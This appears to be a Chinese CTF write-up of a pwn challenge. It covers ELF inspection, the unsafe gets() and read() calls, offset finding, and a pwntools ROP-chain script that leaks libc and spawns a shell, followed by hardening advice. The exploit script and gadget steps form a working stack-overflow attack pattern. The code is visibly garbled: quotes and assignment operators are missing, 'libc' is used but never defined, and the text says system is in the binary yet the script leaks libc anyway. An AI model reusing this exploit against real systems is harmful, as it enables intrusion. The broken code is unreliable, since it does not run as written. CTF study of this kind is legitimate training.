ARTICLE DETAIL

资讯详情

深耕网站视觉设计与运营推广的一线实战洞察。

CTF二进制漏洞利用:从ELF分析到ROP链构造

CTF二进制漏洞利用:从ELF分析到ROP链构造 1. 项目背景与赛事定位PolarCTF2026年春季挑战赛作为网络安全领域的专业赛事延续了往届的技术深度与创新特色。今年的The_Gift赛题从题目命名就充满隐喻色彩——表面看似礼物的二进制文件往往暗藏玄机。这类题型通常考察选手对程序逆向分析、漏洞利用和加密算法的综合掌握能力。在CTF竞赛中以礼物为名的题目通常具有以下特征文件本身可能包含隐藏数据或加密内容程序逻辑中可能存在故意设置的漏洞点解题过程需要多步骤的分析与操作最终flag可能经过多层编码或加密2. 初步分析与文件检测2.1 基础文件信息收集拿到题目文件后我首先使用file命令进行基础检测file The_Gift The_Gift: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]..., not stripped关键信息解读64位ELF可执行文件动态链接且未去除符号表(not stripped)使用GNU/Linux 3.2.0作为目标平台2.2 安全机制检查使用checksec工具进一步分析安全防护机制checksec --fileThe_Gift RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 83 Symbols No安全机制分析未启用完整RELRO(重定位只读)无栈保护(canary)启用NX(堆栈不可执行)未启用PIE(地址空间随机化)3. 静态逆向分析3.1 函数逻辑解析使用IDA Pro加载程序发现几个关键函数main函数流程int __cdecl main(int argc, const char **argv, const char **envp) { init_proc(); gift_wrapping(); vulnerable_function(); return 0; }gift_wrapping函数void gift_wrapping() { char s[32]; // [rsp0h] [rbp-20h] BYREF memset(s, 0, sizeof(s)); puts(This gift is specially prepared for you!); printf(Whats your name? ); gets(s); printf(Hello, %s!\n, s); }vulnerable_functionvoid vulnerable_function() { char buf[16]; // [rsp0h] [rbp-10h] BYREF puts(Now, lets open the gift!); read(0, buf, 0x100); }3.2 漏洞点识别通过静态分析发现两处明显漏洞gift_wrapping函数中使用不安全的gets()函数vulnerable_function中存在栈缓冲区溢出(read读取0x100字节到16字节缓冲区)4. 动态调试与漏洞利用4.1 栈结构分析使用gdb调试分析gift_wrapping函数的栈布局(gdb) disas gift_wrapping Dump of assembler code for function gift_wrapping: 0x0000000000401186 0: push rbp 0x0000000000401187 1: mov rbp,rsp 0x000000000040118a 4: sub rsp,0x20 ...栈空间分配32字节缓冲区(s)8字节保存的rbp返回地址(8字节)4.2 偏移量计算通过pattern create/offset确定溢出点from pwn import * p process(./The_Gift) p.sendlineafter(name? , cyclic(100)) p.wait() # 在gdb中查看崩溃时的RSP值 offset cyclic_find(0x6161616161616166) # 结果为404.3 ROP链构造由于NX保护开启需要构造ROP链实现利用查找可用gadgetROPgadget --binary The_Gift --ropchain关键gadgetpop rdi ; retret程序中存在system和/bin/sh字符串5. 完整利用脚本基于以上分析编写Python利用脚本#!/usr/bin/env python3 from pwn import * context.binary elf ELF(./The_Gift) rop ROP(elf) # 第一段溢出泄露libc地址 p process(./The_Gift) p.recvuntil(name? ) payload flat( bA*40, rop.find_gadget([pop rdi, ret])[0], elf.got[puts], elf.plt[puts], elf.symbols[vulnerable_function] ) p.sendline(payload) p.recvuntil(!\n) leak u64(p.recvline().strip().ljust(8, b\x00)) libc.address leak - libc.symbols[puts] # 第二段溢出获取shell payload flat( bA*24, rop.find_gadget([ret])[0], rop.find_gadget([pop rdi, ret])[0], next(libc.search(b/bin/sh)), libc.symbols[system] ) p.send(payload) p.interactive()6. 防御措施与安全建议针对此类漏洞开发者应采取以下防护措施代码层面使用安全的字符串处理函数(fgets替代gets)严格校验输入长度启用现代编译防护措施编译选项gcc -fstack-protector-strong -pie -fPIE -Wl,-z,now,-z,relro系统防护启用ASLR(sysctl -w kernel.randomize_va_space2)限制可执行内存区域7. 竞赛技巧与经验分享在CTF比赛中处理此类题目的实用技巧快速分析三板斧file/checksec了解基础信息strings查找显式字符串ltrace/strace跟踪系统调用逆向工程加速技巧优先分析main和明显命名的函数关注危险函数调用(gets, strcpy等)注意程序中的异常数据操作漏洞利用调试技巧使用cyclic pattern快速定位偏移GDB配合peda/pwndbg插件提高效率善用pwntools的ROP功能实际比赛中这类题目往往会在基础漏洞上增加额外保护或混淆措施。建议在本地测试时尝试修改编译选项模拟不同防护级别下的利用方式提高适应能力。
返回列表